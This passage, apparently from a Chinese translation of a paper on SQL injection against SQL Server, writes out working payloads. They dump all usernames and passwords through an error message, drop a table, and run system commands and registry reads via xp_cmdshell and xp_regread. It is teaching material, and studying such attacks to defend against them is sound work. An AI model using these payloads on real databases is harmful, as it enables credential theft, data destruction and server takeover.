攻擊者用這個'username'登陸(明顯都在同一行)
Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+passWord from users where username>@ret select @ret as ret into foo end--
這創建了一個只包含單列'ret'的表'foo',而且把我們的字符串放在裡面。通常一個低權限的用戶可以在示例數據庫裡創建表,或者一個臨時表。
之後攻擊者選擇查詢表裡的字符串,就像前面說的:
Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/passWord
fred/sesame' to a column of data type int.
/process_login.ASP, line 35
然後刪除這個表:
Username: '; drop table foo--
這些例子僅僅揭開了這項技術的神秘面紗,不用說,如果攻擊者可以從數據庫獲得豐富的錯誤信息,他們的工作將大大的簡化。
[更深入的訪問]
一旦攻擊者可以控制數據庫,他們可能想通過這些權限來獲得對網絡更多的控制,可以通過很多方法來達到這一目的:
1.利用xp_cmdshell擴展存儲以SQL-Server用戶的身份在數據庫服務器上執行命令
2.利用xp_regread擴展存儲讀取注冊表的鍵值,也包括SAM(只要SQL-Server是以一個本地帳號運行的)
3.用其他的擴展存儲改變服務器設置
4.在聯合服務器上執行查詢
5.創建客戶擴展存儲從而在SQL-Server進程內運行exploit
6.用'bulk insert'語句去讀服務器上任何文件
7.用bcp在服務器上創建任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統存儲過程來創建ActiveX對象來完成ASP腳本可以做的任何事情
這些只是常見的攻擊方法的一部分;攻擊者也很可能通過其他方法來達到目的,我們列舉這些SQL-Server相關的攻擊方法是為了說明如果程序可以被注入SQL語句時可能會發生什麼,我們將依次給出以上各種情況的對策。
[xp_cmdshell]
擴展存儲的本質是編譯了的動態鏈接庫(DLLs),它用SQL-Server指定的調用方式去運行接口函數。他們允許SQL-Server程序擁有了和c/c++一樣的功能,是個非常有用的特性。SQL-Server內置了大量的擴展存儲,而且有各種各樣的函數比如發送郵件和更改注冊表。
xp_cmdshell是一個內置的擴展存儲,它允許執行任意的命令行程序。例如:
exec master..xp_cmdshell 'dir'
將會獲得一個SQL-Server進程所在工作目錄的列表
exec master..xp_cmdshell 'net1 user'
將提供主機用戶的列表。如果SQL Server正常的以本地'system'帳號或者'domain user'帳號運行,攻擊者可以造成更嚴重破壞。
[xp_regread]
另外一個有用的內置的擴展存儲是xp_regXXX函數
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
其中一些函數的用法的舉例:
exec xp_regread HKEY_LOCAL_MacHINE
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
(它決定服務器的空連接式共享是否可用)
exec xp_regenumvalues HKEY_LOCAL_MacHINE
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunitIEs'
(它顯示所有的服務器上SNMP公共的設置,通過這個信息,攻擊者可以在相同的網絡區域裡重新配置網絡設置,因為SNMP共有設置很少被改變而且由很多主機共享)
可以想象攻擊者怎樣利用這些函數來讀取SAM文件,改變系統設置在重新啟動後就被服務的應用,或者在用戶下一次登陸時運行任意命令。